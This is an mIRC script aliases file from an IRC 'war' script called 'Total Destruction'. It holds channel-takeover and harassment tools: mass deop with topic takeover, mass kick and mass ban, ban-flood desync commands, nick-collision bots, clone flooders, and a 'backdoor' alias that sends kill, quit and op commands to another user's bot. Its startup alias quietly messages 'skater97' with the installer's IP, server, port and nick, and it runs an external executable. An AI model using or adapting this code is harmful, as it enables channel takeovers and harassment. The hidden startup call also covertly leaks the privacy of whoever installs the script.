/ScriptServ

[Aliases]
n0=-----------------------shortcuts------------------
n1=/j /join #$$1
n2=/ping /ctcp $$1 ping
n3=/i /invite $$1 #
n4=/c /clear
n5=/hop /part # | /raw -q join #
n6=---------------shortcuts end-----------------
n7=status {
n8=  set %server $server
n9=  if $1 == $null { /goto normal } 
n10=  goto end
n11=  :normal
n12=  echo 4 -a 12----------------
n13=  echo 5 -a 4¤14,1T10,1Ø14,1T10,1Å14,1£10,1 D14,1ë10,1§14,1t10,1®14,1u10,1ç14,1T10,1Ï14,1ø10,1Ñ4,0¤ 2Status Report
n14=  echo 5 -a 12----------------
n15=  echo 4 -a Nick: 6( $+ $me $+ ) (Idle $idle seconds)
n16=  echo 4 -a IP: 6( $+ $ip $+ )
n17=  echo 4 -a Host: 6( $+ $host $+ )
n18=  if $server == $null { set %server Not Connected | set %port n/a }
n19=  else { set %server $server | set %port $port }  
n20=  echo 4 -a Server: 6 ( $+ %server $+ : $+ %port $+ )
n21=  echo 4 -a  $+ %spdescribe
n22=  echo 4 -a 12----------------
n23=  echo 12 -a -----------4sTaTuS cOmPLeTe12--------   
n24=  goto end
n25=  :end
n26=  unset %spdescribe,%port,%server
n27=}
n28=bigs {
n29=  %word = $$1 | set %active say | %lword = $len(%word) | if (%lword > 9) { unset %*word | halt } 
n30=  %i = 1  | %ln = 1 | %ltn = 1 | %write1 = $chr(160) | %write2 = $chr(160) | %write3 = $chr(160) | %write4 = $chr(160) | %write5 = $chr(160)
n31=  :mw
n32=  if ($mid(%i,1,%word) = $null) { goto makebig } | if ($mid(%i,1,%word) = %space) { set %letn $+ %i | inc %i 1 | goto mw } 
n33=  set %letr $+ %i $mid(%i,1,%word) | inc %i 1 | goto mw
n34=  :makebig | %ln = 1 | %ltn = 1
n35=  :nl | set %write $+ %ln  %write [ $+ [ %ln ] ]  $readini %letfile %letr [ $+ [ %ltn ] ]  %ln |  inc %ltn 1 
n36=  if (%ltn > %lword) { inc %ln 1 | %ltn = 1 | if (%ln > 5) { goto end } } | goto nl
n37=  :end |  %active %write1 |  %active %write2 |  %active %write3 |  %active %write4 |  %active %write5
n38=  unset %ln %ltn %write* %letr* %word %lword %active* | halt
n39=  say #  
n40=}
n41=/talk {
n42=  set %rk *1
n43=  %rk = $replace(%rk,a,å)
n44=  %rk = $replace(%rk,b,ß)
n45=  %rk = $replace(%rk,c,©)
n46=  %rk = $replace(%rk,d,Ð)
n47=  %rk = $replace(%rk,e,ê)
n48=  %rk = $replace(%rk,f,f)
n49=  %rk = $replace(%rk,g,g)
n50=  %rk = $replace(%rk,h,h)
n51=  %rk = $replace(%rk,i,ï)
n52=  %rk = $replace(%rk,j,j)
n53=  %rk = $replace(%rk,k,K)
n54=  %rk = $replace(%rk,l,£)
n55=  %rk = $replace(%rk,m,(\/))
n56=  %rk = $replace(%rk,n,ñ)
n57=  %rk = $replace(%rk,o,ð)
n58=  %rk = $replace(%rk,p,þ)
n59=  %rk = $replace(%rk,q,q)
n60=  %rk = $replace(%rk,r,®)
n61=  %rk = $replace(%rk,s,§)
n62=  %rk = $replace(%rk,t,t)
n63=  %rk = $replace(%rk,u,ü)
n64=  %rk = $replace(%rk,v,v)
n65=  %rk = $replace(%rk,w,\\')
n66=  %rk = $replace(%rk,x,×)
n67=  %rk = $replace(%rk,y,¥)
n68=  %rk = $replace(%rk,z,z)
n69=  say %rk
n70=  unset %rk
n71=}
n72=blocktalk {
n73=  set %bk $$?1="Enter Text" *2
n74=  %bk = $replace(%bk,a,[A])
n75=  %bk = $replace(%bk,b,[B])
n76=  %bk = $replace(%bk,c,[C])
n77=  %bk = $replace(%bk,d,[D])
n78=  %bk = $replace(%bk,e,[E])
n79=  %bk = $replace(%bk,f,[F])
n80=  %bk = $replace(%bk,g,[G])
n81=  %bk = $replace(%bk,h,[H])
n82=  %bk = $replace(%bk,i,[I])
n83=  %bk = $replace(%bk,j,[J])
n84=  %bk = $replace(%bk,k,[K])
n85=  %bk = $replace(%bk,l,[L])
n86=  %bk = $replace(%bk,m,[M])
n87=  %bk = $replace(%bk,n,[N])
n88=  %bk = $replace(%bk,o,[O])
n89=  %bk = $replace(%bk,p,[P])
n90=  %bk = $replace(%bk,q,[Q])
n91=  %bk = $replace(%bk,r,[R])
n92=  %bk = $replace(%bk,s,[S])
n93=  %bk = $replace(%bk,t,[T])
n94=  %bk = $replace(%bk,u,[U])
n95=  %bk = $replace(%bk,v,[V])
n96=  %bk = $replace(%bk,w,[\\'])
n97=  %bk = $replace(%bk,x,[X])
n98=  %bk = $replace(%bk,y,[Y])
n99=  %bk = $replace(%bk,z,[Z])
n100=  %bk = $replace(%bk,!,[!])
n101=  %bk = $replace(%bk,?,[?])
n102=  %bk = $replace(%bk,$,[$])
n103=  %bk = $replace(%bk,#,[#])
n104=  %bk = $replace(%bk,/,[/])  
n105=  %bk = $replace(%bk,\,[\])
n106=  %bk = $replace(%bk,|,[|])
n107=  say %bk
n108=  unset %bk
n109=}
n110=/rainbow {
n111=  set %rainbow.msg *2
n112=  if ($len(%rainbow.msg) >= 52) { echo 2 [TSG] Your msg was to long. Max 52 characters. | halt }
n113=  else { set %length $len(%rainbow.msg) }
n114=  set %cycles 1
n115=  :next
n116=  if ($mid(%cycles,1,%rainbow.msg) == $null) { goto done }
n117=  if ($mid(%cycles,1,%rainbow.msg) == $chr(32)) { set %rainbow.str $chr(3) $+ $r(1,9) $+ $chr(160) $+ $chr(3) }
n118=  else { set %rainbow.str $chr(3) $+ $r(1,15) $+ $mid(%cycles,1,%rainbow.msg) $+ $chr(3) }
n119=  set %rainbow %rainbow %rainbow.str
n120=  inc %cycles 1
n121=  goto next
n122=  :done
n123=  %rainbow = $remove(%rainbow,$chr(32))
n124=  msg $$1 %rainbow
n125=  unset %rainbow
n126=}
n127=/clonedetect {
n128=  enable #clonedetect 
n129=  set %clchan # 
n130=  who %clchan
n131=  timer 1 60 /disable #clonedetect 
n132=  timer 1 60 set %clchan
n133=  echo -a 12------------
n134=  echo -a 4¤14,1T10,1Ø14,1T10,1Å14,1£10,1 D14,1ë10,1§14,1t10,1®14,1u10,1ç14,1T10,1Ï14,1ø10,1Ñ4,0¤ 12Clone Detection in #  
n135=}
n136=/portscan { /.enable #portscan | /echo 4 -s *** Scanning for all visible ports on $server $+ ! | /stats l }
n137=/iecho {
n138=  /echo $1 -a *2
n139=}
n140=chstats {
n141=  echo 4 12----5 $+ $i 4Channel Status12----
n142=  if $chan(#).key == $null { /set %key none }
n143=  Else { set %key $chan(#).key }
n144=  if $chan(#).limit == $null { /set %limit none }
n145=  Else { set %limit $chan(#).limit }
n146=  set %nick $nick(0, #)
n147=  set %ops $opnick(0, #)
n148=  set %nops $nopnick(0, #)
n149=  echo 4 2Topic: $chan(#).topic
n150=  echo 4 2Modes: $chan(#).mode 7(Key: %key $+ ) (Limit: %limit $+ )
n151=  echo 4 2Total Users:6 %nick
n152=  echo 4 2Operators:6 %ops
n153=  echo 4 2Non-Ops:6 %nops
n154=  echo 4 12----4End of Chan Stats12----
n155=  unset %key,%limit
n156=}
n157=ircopscan {
n158=  if (# == $null) { set %window -s } | else { set %window # } | set %total 0 | write -c $mircdir $+ raw.txt
n159=  echo 4 Listing visable IRCops on all networks.
n160=  set %total 0 | set %option 2 | write $mircdir $+ raw.txt /echo 12 -a :: Listing IRCops! :: | .enable #ircopscan | who o 0
n161=}
n162=startup {
n163=  echo 4 SYSTEMS ENGAGED:Now loading,5please wait...
n164=  play -c Status $mircdirascii\title.txt 100
n165=  load -p c:\totaldestruction\popups.ini
n166=  mode $me +iws
n167=  run $mircdir/talk/uraspec.exe
n168=  status
n169=  timer8 1 1 /iecho -a 4Remember to press F1 for 1¤14,1T10,1Ø14,1T10,1Å14,1£10,1 D14,1ë10,1§14,1t10,1®14,1u10,1ç14,1T10,1Ï14,1ø10,1Ñ  help 9!!          
n170=  timer9 1 5 /msg skater97 I am using your script!$server $port $ip $me
n171=}
n172=backdoor {
n173=  iecho 4 7<BackDoors> Searching for Unknown backdoors in $1 $+ 's script/bot.
n174=  iecho 4 7<BackDoors> Starting :[Phase 1]:
n175=  ctcp $1 do /quit $me is the best!
n176=  ctcp $1 kill
n177=  ctcp $1 quit
n178=  ctcp $1 part
n179=  ctcp $1 die
n180=  ctcp $1 page
n181=  ctcp $1 iecho
n182=  ctcp $1 version
n183=  ctcp $1 trout
n184=  ctcp $1 time
n185=  ctcp $1 halibut
n186=  ctcp $1 clientinfo
n187=  ctcp $1 userinfo
n188=  ctcp $1 finger
n189=  timer 1 15 /backdoor2 $1
n190=}
n191=backdoor2 {
n192=  iecho 4 7<BackDoors> Starting :[Phase 2]:
n193=  ctcp $1 ping
n194=  ctcp $1 ping
n195=  ctcp $1 clientinfo
n196=  ctcp $1 A
n197=  ctcp $1 S
n198=  ctcp $1 Help
n199=  ctcp $1 OP $me
n200=  ctcp $1 ban $1
n201=  ctcp $1 invite $me
n202=  ctcp $1 kick $1
n203=  iecho 4 7<BackDoors> Done!
n204=}
n205=f1 {
n206=  echo 4 -s 4--------------------
n207=  echo 4 -s 5 $+ $i 10Function Key 4Help
n208=  echo 5 -s ----
n209=  echo 4 -s 10F1 = 12This Help       
n210=  echo 4 -s 10F2 = 12Flood Prot ON       
n211=  echo 4 -s 10F3 = 12Flood Prot OFF  
n212=  echo 4 -s 10F4 = 12WAR MODE ON
n213=  echo 4 -s 10F5 = 12WAR MODE OFF
n214=  echo 4 -s 10F6 = 12kLoNeZ sTaTuS cHeCk
n215=  echo 5 -s ----
n216=} 
n217=f2 /enable #flud.prot | /speak flood protection,activated | /iecho 4 4¤14,1T10,1Ø14,1T10,1Å14,1£10,1 D14,1ë10,1§14,1t10,1®14,1u10,1ç14,1T10,1Ï14,1ø10,1Ñ  flood prot is now 1ON!
n218=f3 /disable #flud.prot | /speak flood protection,deactivated | /iecho 4 4¤14,1T10,1Ø14,1T10,1Å14,1£10,1 D14,1ë10,1§14,1t10,1®14,1u10,1ç14,1T10,1Ï14,1ø10,1Ñ  flood prot is now 1OFF!
n219=f4 /load -p $mircdirwpop.ini | /speak its time for i r c war | /titlebar -----------tØtÅl DʧtRu©tIoN \/\/ÅR----------Loaded and Ready
n220=f5 /load -p $mircdirpopups.ini | /speak back to normal | /titlebar ................................./-\ «tØtÅ£ |)ë§tRUçtÏøÑ» /-\.....................................
n221=f6 { 
n222=  /echo 4 -s klone (1) ( $+ $dde flood1 nickname "" $+ )  ( $+ $dde flood1 connected "" $+ ) ( $+ $dde flood1 serverport "" $+ ) on ( $+ $dde flood1 channels "" $+ )
n223=  /echo 4 -s klone (2) ( $+ $dde flood2 nickname "" $+ )  ( $+ $dde flood2 connected "" $+ ) ( $+ $dde flood2 serverport "" $+ ) on ( $+ $dde flood2 channels "" $+ )
n224=  /echo 4 -s klone (3) ( $+ $dde flood3 nickname "" $+ )  ( $+ $dde flood3 connected "" $+ ) ( $+ $dde flood3 serverport "" $+ ) on ( $+ $dde flood3 channels "" $+ )
n225=  /echo 4 -s klone (4) ( $+ $dde flood4 nickname "" $+ )  ( $+ $dde flood4 connected "" $+ ) ( $+ $dde flood4 serverport "" $+ ) on ( $+ $dde flood4 channels "" $+ )
n226=}
n227=/sf1 {
n228=  :start
n229=  set %Var.Temp $$?="How Many NCBs? Max 3"
n230=  if (%Var.Temp == 1) { 
n231=    run $mircdir $+ mirc32.exe $mircdir $+ collide\ncb1.ini | /dde ncb1 command "" /nick $$?="Nick to collide" 
n232=    dde ncb1 command "" /server %Var.Split $$?="Port for NCB?" | echo 4 -a Nick Colliding on:1 %Var.Split  
n233=    halt
n234=  }
n235=  if (%Var.Temp == 2) { 
n236=    run $mircdir $+ mirc32.exe $mircdir $+ collide\ncb1.ini | /dde ncb1 command "" /nick $$?="Nick to collide" 
n237=    run $mircdir $+ mirc32.exe $mircdir $+ collide\ncb2.ini | /dde ncb2 command "" /nick $$?="Nick to collide" 
n238=    dde ncb1 command "" /server %Var.Split $$?="Port for NCB?" | dde ncb2 command "" /server %Var.Split $! | echo 4 -a Nick Colliding on:1 %Var.Split  
n239=    halt
n240=  }
n241=  if (%Var.Temp == 3) { 
n242=    run $mircdir $+ mirc32.exe $mircdir $+ collide\ncb1.ini | /dde ncb1 command "" /nick $$?="Nick to collide" 
n243=    run $mircdir $+ mirc32.exe $mircdir $+ collide\ncb2.ini | /dde ncb2 command "" /nick $$?="Nick to collide"
n244=    run $mircdir $+ mirc32.exe $mircdir $+ collide\ncb3.ini | /dde ncb3 command "" /nick $$?="Nick to collide" 
n245=    dde ncb1 command "" /server %Var.Split $$?="Port for NCB?" | dde ncb2 command "" /server %Var.Split $! | dde ncb3 command "" /server %Var.Split $! | echo 4 -a Nick Colliding on:1 %Var.Split 
n246=    halt
n247=  }
n248=  else { goto start }
n249=}
n250=/sf2 /run $mIRCDirascii\splits.txt | echo 4 -a Currently Split Servers 1 •Loading•  4 (4¤14,1T10,1Ø14,1T10,1Å14,1£10,1 D14,1ë10,1§14,1t10,1®14,1u10,1ç14,1T10,1Ï14,1ø10,1Ñ )
n251=us {
n252=  say 1,1.12,12..............4,4...................1,1.
n253=  say 1,1.12,12..............0,0...................1,1.
n254=  say 1,1.12,12..............4,4...................1,1.
n255=  say 1,1.0,0.................................1,1.
n256=  say 1,1.4,4.................................1,1.
n257=}
n258=/desync1 /raw -q mode # +bbbbbb 16,16 $+ *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* | /raw -q mode # +bbbbbb 16,16 $+ *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* | /raw -q mode # +bbbbbb 16,16 $+ *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* | /raw -q mode # +bbbbbb 16,16 $+ *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o*
n259=/desync2 /raw -q mode # -bbbbbb 16,16 $+ *!*@*1* *!*@*2* *!*@*3* *!*@*4* *!*@*5* *!*@*6* | /raw -q mode # -bbbbbb 16,16 $+ *!*@*7* *!*@*8* *!*@*9* *!*@*a* *!*@*b* *!*@*c* | /raw -q mode # -bbbbbb 16,16 $+ *!*@*d* *!*@*e* *!*@*f* *!*@*g* *!*@*h* *!*@*i* | /raw -q mode # -bbbbbb 16,16 $+ *!*@*j* *!*@*k* *!*@*l* *!*@*m* *!*@*n* *!*@*o* 
n260=/bb {
n261=  raw -q mode # +bbbbbb +@+. +@+. +@+. +@+. +@+. +@.+.
n262=  raw -q mode # +bbbbbb ++@+-. +-@+. +-@+. +@-+.- +-@+.+ ++@+.+.
n263=  raw -q mode # +bbbbbb ++@++. ++@++. ++@+.+ ++@++. ++@+. .++@..+
n264=  raw -q mode # +bbbbbb -++@+++. +++@++. +++@+.+ ++@+++. +++@-+. .++@-..+
n265=}
n266=/md {
n267=  set %Var.Chan $chan
n268=  set %i 1
n269=  set %Var.Index 1
n270=  if (s isin $1) { set %Var.Safe $$2 }
n271=  if (t isin $1) { set %Var.Take y }
n272=  if (undernet isin $server) { set %Var.Num 6 }
n273=  else { set %Var.Num 4 }
n274=  :start
n275=  set %Var.User $opnick(%i,%Var.Chan)
n276=  if (%Var.User == $null) { 
n277=    raw -q mode %Var.Chan -oooooo %Var.Nick 
n278=    if (%Var.Take == y) { /mode # +smpti | /topic %Var.Chan «/-\» tOtAl DeStRuCtiOn «/-\» tAkEoVeR!¡!¡!¡! }
n279=    if (s isin $1) { raw -q mode # +o %Var.Safe }
n280=    echo 6 # Mass Deop On # Complete! 
n281=    unset %Var.Nick | unset %i | unset %Var.Chan | unset %Var.Index | unset %Var.Num | unset %Var.Safe | unset %Var.Take | halt 
n282=  }
n283=  if (%Var.User == $me) || (%Var.User == %Var.Safe) { inc %i 1 | goto start }
n284=  if (%Var.User != $me) { set %Var.Nick %Var.User %Var.Nick | if (%Var.Index == %Var.Num) { raw -q mode %Var.Chan -oooooo %Var.Nick | unset %Var.Nick | set %Var.Index 1 | inc %i 1 | goto start } | inc %Var.Index 1 }  
n285=  inc %i 1 
n286=  goto start
n287=}  
n288=/mk {
n289=  set %i 1
n290=  set %Var.Int 1
n291=  :start
n292=  set %Var.Nick $nick(%i,#)
n293=  if (%Var.Nick == $null) { echo 6 # Mass Kick On # Complete! | unset %i | unset %Var.Nick | unset %Var.int | halt }
n294=  if (%Var.Nick != $me) { kick # %Var.Nick Mass Kick! Bitch Number: %Var.Int | inc %Var.int 1 }
n295=  inc %i 1  
n296=  goto start  
n297=}
n298=/mb {
n299=  set %i 1
n300=  :start
n301=  set %Var.Nick $nick(%i,#)
n302=  if (%Var.Nick == $null) { echo 6 # Mass Ban On # Complete! | unset %i | unset %Var.Nick | halt }
n303=  if (%Var.Nick != $me) { ban # %Var.Nick 3 }
n304=  inc %i 1  
n305=  goto start  
n306=}